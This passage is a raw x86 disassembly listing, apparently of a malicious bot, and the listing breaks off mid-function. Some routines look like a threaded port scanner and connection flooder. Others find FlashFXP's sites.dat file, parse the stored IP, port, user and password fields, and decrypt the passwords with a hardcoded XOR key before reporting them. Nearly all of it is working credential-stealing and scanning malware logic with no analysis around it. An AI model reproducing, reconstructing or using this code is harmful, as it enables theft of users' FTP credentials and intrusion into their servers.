push 0
push [ebp+var_4]
push offset sub_414052
call sub_4095A4
add esp, 10h
locret_4141BF: ; CODE XREF: sub_41417D+18j
leave
retn
sub_41417D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o
var_2BC = dword ptr -2BCh
var_2B8 = byte ptr -2B8h
var_1B8 = byte ptr -1B8h
var_1B2 = dword ptr -1B2h
var_1AE = byte ptr -1AEh
var_16 = byte ptr -16h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2BCh
push 2B1h
push [ebp+arg_0]
lea eax, [ebp+var_2BC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
call sub_416B64 ; clock
mov [ebp+var_4], eax
push [ebp+var_1B2]
push 0
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41424F
push [ebp+var_8]
call sub_4053B1
pop ecx
call sub_416B64 ; clock
sub eax, [ebp+var_4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
push offset dword_41D050
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 14h
jmp short loc_4142AD
; ---------------------------------------------------------------------------
loc_41424F: ; CODE XREF: sub_4141C1+56j
movsx eax, [ebp+var_16]
test eax, eax
jnz short loc_4142AD
call sub_416B64 ; clock
sub eax, [ebp+var_4]
cmp eax, [ebp+var_1B2]
jb short loc_41428B
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
push offset dword_41D018
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_4142AD
; ---------------------------------------------------------------------------
loc_41428B: ; CODE XREF: sub_4141C1+A4j
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
push offset dword_41CFE8
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 10h
loc_4142AD: ; CODE XREF: sub_4141C1+8Cj
; sub_4141C1+94j ...
push [ebp+var_2BC]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_4141C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_4], 0
jnz short loc_4142D0
jmp locret_4143AE
; ---------------------------------------------------------------------------
loc_4142D0: ; CODE XREF: sub_4142BF+Aj
cmp [ebp+arg_8], 0
jnz short loc_4142DD
mov [ebp+arg_8], offset a80 ; "80"
loc_4142DD: ; CODE XREF: sub_4142BF+15j
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4142F8
cmp [ebp+var_8], 0FFFFh
jbe short loc_4142FD
loc_4142F8: ; CODE XREF: sub_4142BF+2Ej
jmp locret_4143AE
; ---------------------------------------------------------------------------
loc_4142FD: ; CODE XREF: sub_4142BF+37j
cmp [ebp+arg_C], 0
jz short loc_414311
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_10], eax
jmp short loc_414318
; ---------------------------------------------------------------------------
loc_414311: ; CODE XREF: sub_4142BF+42j
mov [ebp+var_10], 0EA60h
loc_414318: ; CODE XREF: sub_4142BF+50j
mov eax, [ebp+var_10]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41432D
cmp [ebp+var_4], 36EE80h
jbe short loc_41432F
loc_41432D: ; CODE XREF: sub_4142BF+63j
jmp short locret_4143AE
; ---------------------------------------------------------------------------
loc_41432F: ; CODE XREF: sub_4142BF+6Cj
push 2B1h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_414345
jmp short locret_4143AE
; ---------------------------------------------------------------------------
loc_414345: ; CODE XREF: sub_4142BF+82j
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_C]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 6
push [ebp+arg_8]
mov eax, [ebp+var_C]
add eax, 104h
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov [eax+10Ah], ecx
push [ebp+arg_0]
mov eax, [ebp+var_C]
add eax, 10Eh
push eax
call sub_405F67
pop ecx
pop ecx
push [ebp+arg_8]
push [ebp+arg_4]
push offset dword_41D080
push 0
push [ebp+var_C]
push offset sub_4141C1
call sub_4095A4
add esp, 18h
locret_4143AE: ; CODE XREF: sub_4142BF+Cj
; sub_4142BF:loc_4142F8j ...
leave
retn
sub_4142BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o
var_2E8 = qword ptr -2E8h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = byte ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = byte ptr -2CCh
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = byte ptr -2BCh
var_1BC = word ptr -1BCh
var_1BA = word ptr -1BAh
var_1B8 = dword ptr -1B8h
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_18 = byte ptr -18h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2DCh
push 2B3h
push [ebp+arg_0]
lea eax, [ebp+var_2C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov ax, [ebp+var_1BC]
mov [ebp+var_C], ax
push [ebp+var_1B4]
call sub_404D10
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_41440C
push [ebp+var_2C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4145FC
; ---------------------------------------------------------------------------
loc_41440C: ; CODE XREF: sub_4143B0+47j
push [ebp+var_1B4]
movzx eax, [ebp+var_1BA]
push eax
movzx eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_2BC]
push eax
mov eax, [ebp+var_2C0]
push dword ptr [eax]
push offset dword_41D0F0
lea eax, [ebp+var_1B0]
push eax
call sub_40D53F
add esp, 1Ch
movsx eax, [ebp+var_18]
test eax, eax
jnz short loc_414458
push 3E8h
call ds:dword_41709C ; Sleep
loc_414458: ; CODE XREF: sub_4143B0+9Bj
call sub_416B64 ; clock
mov [ebp+var_2C4], eax
and [ebp+var_4], 0
loc_414467: ; CODE XREF: sub_4143B0+13Aj
; sub_4143B0+1F0j
mov eax, [ebp+var_2C0]
cmp dword ptr [eax+4], 0
jnz short loc_414482
movzx eax, [ebp+var_C]
movzx ecx, [ebp+var_1BA]
cmp eax, ecx
jle short loc_414487
loc_414482: ; CODE XREF: sub_4143B0+C1j
jmp loc_4145A5
; ---------------------------------------------------------------------------
loc_414487: ; CODE XREF: sub_4143B0+D0j
push 0Ah
lea eax, [ebp+var_2CC]
push eax
movzx eax, [ebp+var_C]
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push [ebp+var_8]
push 0
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2BC]
push eax
call sub_404FE7
add esp, 0Ch
push eax
call sub_404D4D
pop ecx
pop ecx
mov [ebp+var_2D0], eax
mov ax, [ebp+var_C]
add ax, 1
mov [ebp+var_C], ax
cmp [ebp+var_2D0], 0
jz short loc_4144EF
movzx eax, [ebp+var_C]
movzx ecx, [ebp+var_1BA]
cmp eax, ecx
jg short loc_4144EF
jmp loc_414467
; ---------------------------------------------------------------------------
loc_4144EF: ; CODE XREF: sub_4143B0+129j
; sub_4143B0+138j
push [ebp+var_1B8]
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_404E1C
pop ecx
test eax, eax
jz loc_414597
loc_41450C: ; CODE XREF: sub_4143B0+1E2j
mov eax, [ebp+var_2C0]
cmp dword ptr [eax+4], 0
jz short loc_41451A
jmp short loc_414597
; ---------------------------------------------------------------------------
loc_41451A: ; CODE XREF: sub_4143B0+166j
push [ebp+var_8]
call sub_404F24
pop ecx
mov [ebp+var_2D8], eax
cmp [ebp+var_2D8], 0
jnz short loc_414534
jmp short loc_414597
; ---------------------------------------------------------------------------
loc_414534: ; CODE XREF: sub_4143B0+180j
lea eax, [ebp+var_2CC]
push eax
push [ebp+var_2D8]
call sub_4045B2
pop ecx
pop ecx
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov al, [ebp+var_18]
mov [ebp+var_2D4], al
and [ebp+var_18], 0
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2BC]
push eax
push offset dword_41D0DC
lea eax, [ebp+var_1B0]
push eax
call sub_40D53F
add esp, 10h
mov al, [ebp+var_2D4]
mov [ebp+var_18], al
push 3E8h
call ds:dword_41709C ; Sleep
jmp loc_41450C
; ---------------------------------------------------------------------------
loc_414597: ; CODE XREF: sub_4143B0+156j
; sub_4143B0+168j ...
push [ebp+var_8]
call sub_404F7D
pop ecx
jmp loc_414467
; ---------------------------------------------------------------------------
loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j
push [ebp+var_4]
call sub_416B64 ; clock
sub eax, [ebp+var_2C4]
mov [ebp+var_2DC], eax
fild [ebp+var_2DC]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+2E8h+var_2E8]
lea eax, [ebp+var_2BC]
push eax
push offset unk_41D0A0
lea eax, [ebp+var_1B0]
push eax
call sub_40D53F
add esp, 18h
push [ebp+var_8]
call sub_404FD0
pop ecx
push [ebp+var_2C0]
call sub_409763
pop ecx
xor eax, eax
locret_4145FC: ; CODE XREF: sub_4143B0+57j
leave
retn 4
sub_4143B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 28h
cmp [ebp+arg_4], 0
jz short loc_414612
cmp [ebp+arg_8], 0
jnz short loc_414617
loc_414612: ; CODE XREF: sub_414600+Aj
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_414617: ; CODE XREF: sub_414600+10j
cmp [ebp+arg_C], 0
jnz short loc_414623
mov eax, [ebp+arg_8]
mov [ebp+arg_C], eax
loc_414623: ; CODE XREF: sub_414600+1Bj
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41463E
cmp [ebp+var_8], 0FFFFh
jbe short loc_414643
loc_41463E: ; CODE XREF: sub_414600+33j
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_414643: ; CODE XREF: sub_414600+3Cj
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_41465E
cmp [ebp+var_14], 0FFFFh
jbe short loc_414663
loc_41465E: ; CODE XREF: sub_414600+53j
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_414663: ; CODE XREF: sub_414600+5Cj
push 2B3h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41467C
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_41467C: ; CODE XREF: sub_414600+75j
mov eax, [ebp+var_8]
cmp eax, [ebp+var_14]
jbe short loc_414696
mov eax, [ebp+var_14]
mov [ebp+var_18], eax
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
mov eax, [ebp+var_18]
mov [ebp+var_8], eax
loc_414696: ; CODE XREF: sub_414600+82j
cmp [ebp+arg_10], 0
jz short loc_4146AA
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1C], eax
jmp short loc_4146B1
; ---------------------------------------------------------------------------
loc_4146AA: ; CODE XREF: sub_414600+9Aj
mov [ebp+var_1C], 7D0h
loc_4146B1: ; CODE XREF: sub_414600+A8j
mov eax, [ebp+var_1C]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4146C6
cmp [ebp+var_C], 0EA60h
jbe short loc_4146CD
loc_4146C6: ; CODE XREF: sub_414600+BBj
mov [ebp+var_C], 7D0h
loc_4146CD: ; CODE XREF: sub_414600+C4j
cmp [ebp+arg_14], 0
jz short loc_4146E1
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_20], eax
jmp short loc_4146E8
; ---------------------------------------------------------------------------
loc_4146E1: ; CODE XREF: sub_414600+D1j
mov [ebp+var_20], 100h
loc_4146E8: ; CODE XREF: sub_414600+DFj
mov eax, [ebp+var_20]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_4146FD
cmp [ebp+var_10], 200h
jbe short loc_414704
loc_4146FD: ; CODE XREF: sub_414600+F2j
mov [ebp+var_10], 100h
loc_414704: ; CODE XREF: sub_414600+FBj
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
mov eax, [ebp+var_4]
mov cx, word ptr [ebp+var_8]
mov [eax+104h], cx
mov eax, [ebp+var_4]
mov cx, word ptr [ebp+var_14]
mov [eax+106h], cx
cmp [ebp+var_C], 0EA60h
jbe short loc_414749
mov [ebp+var_24], 0EA60h
jmp short loc_41474F
; ---------------------------------------------------------------------------
loc_414749: ; CODE XREF: sub_414600+13Ej
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
loc_41474F: ; CODE XREF: sub_414600+147j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_24]
mov [eax+108h], ecx
cmp [ebp+var_10], 200h
jbe short loc_41476D
mov [ebp+var_28], 200h
jmp short loc_414773
; ---------------------------------------------------------------------------
loc_41476D: ; CODE XREF: sub_414600+162j
mov eax, [ebp+var_10]
mov [ebp+var_28], eax
loc_414773: ; CODE XREF: sub_414600+16Bj
mov eax, [ebp+var_4]
mov ecx, [ebp+var_28]
mov [eax+10Ch], ecx
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 110h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_4]
push dword ptr [eax+10Ch]
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+106h]
push eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+104h]
push eax
mov eax, [ebp+var_4]
add eax, 4
push eax
push offset dword_41D138
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_4143B0
call sub_4095A4
add esp, 20h
locret_4147E3: ; CODE XREF: sub_414600:loc_414612j
; sub_414600:loc_41463Ej ...
leave
retn
sub_414600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
lea eax, [ebp+var_10]
push eax
push offset a02x ; "%02X"
push [ebp+arg_4]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414816
xor eax, eax
jmp locret_4148CC
; ---------------------------------------------------------------------------
loc_414816: ; CODE XREF: sub_4147E5+28j
mov eax, [ebp+arg_4]
inc eax
inc eax
mov [ebp+arg_4], eax
loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj
lea eax, [ebp+var_C]
push eax
push offset a02x ; "%02X"
push [ebp+arg_4]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414842
xor eax, eax
jmp locret_4148CC
; ---------------------------------------------------------------------------
loc_414842: ; CODE XREF: sub_4147E5+54j
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
mov ecx, [ebp+var_C]
xor ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
cmp eax, [ebp+var_C]
jl short loc_414866
mov eax, [ebp+var_C]
dec eax
mov [ebp+var_C], eax
loc_414866: ; CODE XREF: sub_4147E5+78j
mov eax, [ebp+var_C]
sub eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx], al
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
lea eax, [ebp+var_10]
push eax
push offset a02x ; "%02X"
push [ebp+arg_4]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414899
xor eax, eax
jmp short locret_4148CC
; ---------------------------------------------------------------------------
loc_414899: ; CODE XREF: sub_4147E5+AEj
mov eax, [ebp+arg_4]
inc eax
inc eax
mov [ebp+arg_4], eax
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4148B2
mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
loc_4148B2: ; CODE XREF: sub_4147E5+C4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4148BE
jmp short loc_4148C3
; ---------------------------------------------------------------------------
loc_4148BE: ; CODE XREF: sub_4147E5+D5j
jmp loc_41481E
; ---------------------------------------------------------------------------
loc_4148C3: ; CODE XREF: sub_4147E5+D7j
mov eax, [ebp+arg_0]
and byte ptr [eax], 0
push 1
pop eax
locret_4148CC: ; CODE XREF: sub_4147E5+2Cj
; sub_4147E5+58j ...
leave
retn
sub_4147E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4148CE proc near ; CODE XREF: sub_414A1E+30p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
and [ebp+var_14], 0
lea eax, [ebp+var_14]
push eax
push 20019h
push 0
push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
mov [ebp+var_10], eax
mov [ebp+var_4], 104h
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
push 0
push 0
push 0
push [ebp+var_14]
call ds:dword_41700C ; RegQueryValueExA
mov [ebp+var_10], eax
push [ebp+var_14]
call ds:dword_417028 ; RegCloseKey
cmp [ebp+var_10], 0
jnz short loc_414971
push offset aFlashfxp_exe1 ; "FlashFXP.exe %1"
push 4
push [ebp+arg_0]
call sub_407ACA
add esp, 0Ch
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_414945
jmp loc_414A17
; ---------------------------------------------------------------------------
loc_414945: ; CODE XREF: sub_4148CE+70j
push offset aSites_dat ; "sites.dat"
push [ebp+var_18]
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov eax, [ebp+var_18]
add eax, 0Fh
push eax
mov eax, [ebp+var_18]
add eax, 9
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push 1
pop eax
jmp locret_414A1C
; ---------------------------------------------------------------------------
loc_414971: ; CODE XREF: sub_4148CE+55j
; sub_4148CE:loc_414A17j
push 104h
push [ebp+arg_0]
push offset aProgramfiles ; "ProgramFiles"
call ds:dword_417104 ; GetEnvironmentVariableA
push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
push [ebp+arg_0]
call sub_416B70 ; strcat
pop ecx
pop ecx
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4149B0
push 1
pop eax
jmp short locret_414A1C
; ---------------------------------------------------------------------------
loc_4149B0: ; CODE XREF: sub_4148CE+DBj
mov eax, dword_419398
mov [ebp+var_C], eax
loc_4149B8: ; CODE XREF: sub_4148CE+143j
lea eax, [ebp+var_C]
push eax
call ds:dword_4170CC ; GetDriveTypeA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 5
jz short loc_414A02
cmp [ebp+var_1C], 2
jz short loc_414A02
lea eax, [ebp+var_C]
push eax
push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
push [ebp+arg_0]
call sub_416B5E ; sprintf
add esp, 0Ch
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_414A02
push 1
pop eax
jmp short locret_414A1C
; ---------------------------------------------------------------------------
loc_414A02: ; CODE XREF: sub_4148CE+FBj
; sub_4148CE+101j ...
mov al, byte ptr [ebp+var_C]
add al, 1
mov byte ptr [ebp+var_C], al
movsx eax, byte ptr [ebp+var_C]
cmp eax, 5Ah
jnz short loc_4149B8
xor eax, eax
jmp short locret_414A1C
; ---------------------------------------------------------------------------
loc_414A17: ; CODE XREF: sub_4148CE+72j
jmp loc_414971
; ---------------------------------------------------------------------------
locret_414A1C: ; CODE XREF: sub_4148CE+9Ej
; sub_4148CE+E0j ...
leave
retn
sub_4148CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A1E proc near ; DATA XREF: sub_414EB0+35o
var_5E0 = dword ptr -5E0h
var_5DC = dword ptr -5DCh
var_5D8 = dword ptr -5D8h
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_5CC = dword ptr -5CCh
var_5C8 = dword ptr -5C8h
var_5C4 = byte ptr -5C4h
var_544 = byte ptr -544h
var_4C4 = byte ptr -4C4h
var_444 = byte ptr -444h
var_3C4 = dword ptr -3C4h
var_3C0 = dword ptr -3C0h
var_3BC = dword ptr -3BCh
var_3B8 = dword ptr -3B8h
var_3B4 = byte ptr -3B4h
var_334 = dword ptr -334h
var_330 = byte ptr -330h
var_32C = dword ptr -32Ch
var_328 = byte ptr -328h
var_190 = byte ptr -190h
var_184 = dword ptr -184h
var_180 = byte ptr -180h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5E0h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_32C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_180]
push eax
call sub_4148CE
pop ecx
test eax, eax
jnz short loc_414A6B
push [ebp+var_32C]
call sub_409763
pop ecx
xor eax, eax
jmp locret_414EAC
; ---------------------------------------------------------------------------
loc_414A6B: ; CODE XREF: sub_414A1E+38j
mov eax, [ebp+var_32C]
push dword ptr [eax]
push offset unk_41D308
lea eax, [ebp+var_328]
push eax
call sub_40D53F
add esp, 0Ch
and [ebp+var_184], 0
and [ebp+var_334], 0
mov al, [ebp+var_190]
mov [ebp+var_330], al
and [ebp+var_190], 0
push offset aRb ; "rb"
lea eax, [ebp+var_180]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_3C4], eax
cmp [ebp+var_3C4], 0
jnz short loc_414ACF
jmp loc_414EAA
; ---------------------------------------------------------------------------
loc_414ACF: ; CODE XREF: sub_414A1E+AAj
push 2
push 0
push [ebp+var_3C4]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_3C4]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_3C0], eax
cmp [ebp+var_3C0], 100000h
jnb short loc_414B0D
mov eax, [ebp+var_3C0]
mov [ebp+var_5E0], eax
jmp short loc_414B17
; ---------------------------------------------------------------------------
loc_414B0D: ; CODE XREF: sub_414A1E+DFj
mov [ebp+var_5E0], 100000h
loc_414B17: ; CODE XREF: sub_414A1E+EDj
mov eax, [ebp+var_5E0]
mov [ebp+var_3C0], eax
push 0
push 0
push [ebp+var_3C4]
call sub_416B96 ; fseek
add esp, 0Ch
mov eax, [ebp+var_3C0]
inc eax
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_3BC], eax
cmp [ebp+var_3BC], 0
jnz short loc_414B63
push [ebp+var_3C4]
call sub_416B82 ; fclose
pop ecx
jmp loc_414EA8
; ---------------------------------------------------------------------------
loc_414B63: ; CODE XREF: sub_414A1E+132j
push [ebp+var_3C4]
push [ebp+var_3C0]
push 1
push [ebp+var_3BC]
call sub_416B90 ; fread
add esp, 10h
push [ebp+var_3C4]
call sub_416B82 ; fclose
pop ecx
mov eax, [ebp+var_3BC]
add eax, [ebp+var_3C0]
and byte ptr [eax], 0
mov eax, [ebp+var_3BC]
mov [ebp+var_3B8], eax
loc_414BA6: ; CODE XREF: sub_414A1E+428j
push offset asc_41D300 ; "\r\n\r\n["
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5DC], eax
mov eax, [ebp+var_3B8]
mov [ebp+var_5D0], eax
push offset aIp ; "\r\nIP="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5C8], eax
push offset aPort ; "\r\nPort="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5D8], eax
push offset aUser ; "\r\nUser="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5CC], eax
push offset aPass ; "\r\nPass="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5D4], eax
cmp [ebp+var_5C8], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414C52
mov eax, [ebp+var_5C8]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414C52: ; CODE XREF: sub_414A1E+220j
cmp [ebp+var_5D8], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414C7A
mov eax, [ebp+var_5D8]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414C7A: ; CODE XREF: sub_414A1E+248j
cmp [ebp+var_5CC], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414CA2
mov eax, [ebp+var_5CC]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414CA2: ; CODE XREF: sub_414A1E+270j
cmp [ebp+var_5D4], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414CCA
mov eax, [ebp+var_5D4]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414CCA: ; CODE XREF: sub_414A1E+298j
and [ebp+var_4C4], 0
mov al, [ebp+var_4C4]
mov [ebp+var_3B4], al
mov al, [ebp+var_3B4]
mov [ebp+var_5C4], al
mov al, [ebp+var_5C4]
mov [ebp+var_444], al
mov al, [ebp+var_444]
mov [ebp+var_544], al
lea eax, [ebp+var_544]
push eax
push offset asc_41D2D4 ; "[%[^]]]\r\n"
push [ebp+var_5D0]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_444]
push eax
push offset aIp127s ; "\r\nIP=%127s\r\n"
push [ebp+var_5C8]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_5C4]
push eax
push offset aPort127s ; "\r\nPort=%127s\r\n"
push [ebp+var_5D8]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_3B4]
push eax
push offset aUser127s ; "\r\nUser=%127s\r\n"
push [ebp+var_5CC]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_4C4]
push eax
push offset aPass127s ; "\r\nPass=%127s\r\n"
push [ebp+var_5D4]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_4C4]
push eax
lea eax, [ebp+var_4C4]
push eax
call sub_4147E5
pop ecx
pop ecx
test eax, eax
jnz short loc_414DA1
jmp loc_414E4B
; ---------------------------------------------------------------------------
loc_414DA1: ; CODE XREF: sub_414A1E+37Cj
mov eax, [ebp+var_334]
inc eax
mov [ebp+var_334], eax
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp+var_544]
push eax
lea eax, [ebp+var_5C4]
push eax
lea eax, [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
lea eax, [ebp+var_3B4]
push eax
push [ebp+var_334]
push offset dword_41D268
lea eax, [ebp+var_328]
push eax
call sub_40D53F
add esp, 20h
mov eax, [ebp+var_32C]
cmp dword ptr [eax+4], 0
jz short loc_414E13
push [ebp+var_3BC]
call sub_416B4C ; free
pop ecx
jmp loc_414EA6
; ---------------------------------------------------------------------------
loc_414E13: ; CODE XREF: sub_414A1E+213j
; sub_414A1E+22Ej ...
mov eax, [ebp+var_184]
inc eax
